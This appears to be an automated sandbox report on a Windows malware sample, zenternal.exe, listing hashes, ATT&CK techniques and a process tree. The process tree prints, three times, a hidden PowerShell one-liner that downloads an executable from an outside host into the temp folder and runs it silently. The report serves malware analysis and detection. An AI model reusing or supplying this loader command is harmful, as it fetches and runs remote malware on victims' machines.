be7af1fcd11c5a73f50c59bcd99d544f0c3abb3d787126700a858d45b0ed3c62

Analysis

user interaction
yes
max time kernel
18s
max time network
15s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/11/2026, 20:07

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General

Target
zenternal.exe
Size 5.4MB
Sample261101-yv55fsey5j
SHA256 be7af1fcd11c5a73f50c59bcd99d544f0c3abb3d787126700a858d45b0ed3c62
MD5 e4fb2cba3b3e79098d44549131657f20
SHA1 2790bf12a0a40d59cd15f121ec3626927a90ffcc
SHA512 a501fbc17cb94bfdfd7b94277136bdb8958927876d18f68e31a25cbc070920da90ab31c6ad7fa28705a1927de12571fa3c6e6df1e3b5f1074723dffa24e2837a
SSDEEP 49152:mOF4Jym7+BAN3w2MICs9OuczJYahrvEryuj/DBPtinwPh8jh5NaN2IsHhxMbhXvE:e0GNCritwIAxMbp+KA
TLSH
T14146BF43F7ED0599D427E038C773D227E3327814032086EBBBC5AA696F67AE05A76711
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2616	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2728	cmd.exe
4784	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2616	powershell.exe
2616	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2616	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2104 wrote to memory of 2728	2104	zenternal.exe	89
PID 2728 wrote to memory of 4784	2728	cmd.exe	90
PID 4784 wrote to memory of 2616	4784	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\zenternal.exe
"C:\Users\Admin\AppData\Local\Temp\zenternal.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK898429.exe; Start-Process -FilePath $env:TEMP\BK898429.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK898429.exe; Start-Process -FilePath $env:TEMP\BK898429.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4784
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK898429.exe; Start-Process -FilePath $env:TEMP\BK898429.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_jy14zlvm.42k.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jy14zlvm.42k.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2616-10-0x0000017395EC0000-0x0000017395ED0000-memory.dmp

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memory/2616-9-0x0000017395EC0000-0x0000017395ED0000-memory.dmp

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memory/2616-11-0x00000173B0630000-0x00000173B0652000-memory.dmp

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memory/2616-19-0x0000017395EC0000-0x0000017395ED0000-memory.dmp

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